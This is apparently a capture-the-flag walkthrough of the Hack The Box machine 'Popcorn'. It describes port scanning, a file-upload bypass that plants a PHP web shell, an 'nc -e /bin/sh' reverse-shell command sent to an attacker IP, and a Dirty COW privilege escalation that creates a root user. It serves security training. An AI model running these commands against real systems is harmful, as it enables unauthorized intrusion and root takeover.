Popcorn

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.6 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p22,80 10.10.10.6 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

If we take a look at the website, we won't see anything useful.

Let's try to list directories with gobuster.

gobuster dir -u http://10.10.10.6/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 200

  • dir enumerates directories or files.

  • -u the target URL.

  • -w path to the wordlist.

  • -t number of current threads, in this case 200 threads.

Exploitation

If we take a look at the /torrent directory, we'll see a Torrent Hoster platform.

Let's sign up and create a new user called alfa8sa.

Then, log in with the new user.

Once we are logged in, we'll see the Upload section.

But it will only allow us to upload .torrent files. Let's try to upload a legitimate Torrent file. I will be uploading the Kali Linux Torrent file available from the following link.

https://kali.download/base-images/kali-2022.2/kali-linux-2022.2-installer-amd64.iso.torrent

I will rename the file to kali.torrent, and then upload it to the Torrent Hoster.

Once the file is uploaded, we should see it from the Browse section.

We can see that we are able to edit the Screenshots of the Torrent file.

If we open the image in a new browser tab, we'll see that the image is called noss.png, and it is located in the /torrent/upload/ directory.

http://10.10.10.6/torrent/upload/noss.png

We can also see that the /torrent/upload/ directory has directory listing enabled.

This means that if we could upload a malicious file as the screenshot of the Torrent file, it will be stored in the /torrent/upload/ directory, and we'll be able to access the malicious file. Let's try it. First, let's create the cmd.php file with the following content, which will execute the value of the cmd GET parameter.

Now, let's click on Edit this torrent, and upload the cmd.php file intercepting the request with BurpSuite.

Now, with BurpSuite, we'll have to change the Content-Type of the file from application/x-php to image/jpeg so the website thinks that we are uploading an image.

If the upload is correct, we should get the following message.

If now we check the /torrent/upload/ directory, we should see a new PHP file.

Now, we are able to execute commands on the server as the www-data user.

http://10.10.10.6/torrent/upload/e358e074a255cc0980b81eb263d746a418e3f654.php?cmd=whoami

Time to get a shell. First, let's set a netcat listener on port 4444.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

If now we access the following URL, we will get a reverse shell as the user www-data, and we'll be able to grab the user flag.

http://10.10.10.6/torrent/upload/e358e074a255cc0980b81eb263d746a418e3f654.php?cmd=nc -e /bin/sh 10.10.14.13 4444

Privilege Escalation

First, let's set an interactive TTY shell.

script /dev/null -c /bin/bash

Then I press Ctrl+Z and execute the following command on my local machine:

stty raw -echo; fg

reset xterm

Next, I export a few variables:

export TERM=xterm

export SHELL=bash

Finally, I run the following command in our local machine:

stty size

And set the proper dimensions in the victim machine:

stty rows 51 columns 236

If we list system information, we'll see that the machine has an old Linux Kernel version.

uname -a

As the kernel version is old, we could try to exploit the Dirty COW vulnerability.

Dirty COW was a vulnerability in the Linux kernel. It allowed processes to write to read-only files. This exploit made use of a race condition that lived inside the kernel functions which handle the copy-on-write (COW) feature of memory mappings. An example use case includes over-writing a user's UID in /etc/passwd to gain root privileges.

If we search for it on exploit-db, we'll find this exploit. All we have to do is create a file on the /tmp directory of the victim machine called dirty.c, copy the following script and paste it on the dirty.c file.

nano /tmp/dirty.c

Then, we'll have to go to the /tmp directory and compile the file.

gcc -pthread /tmp/dirty.c -o /tmp/dirty -lcrypt

Now, let's execute the script with a random password.

/tmp/dirty password123

If now we become the firefart user, indicating the previous password, we'll get a shell with root privileges. Then, all we have to do is reap the harvest and take the root flag.

su firefart

Last updated

Was this helpful?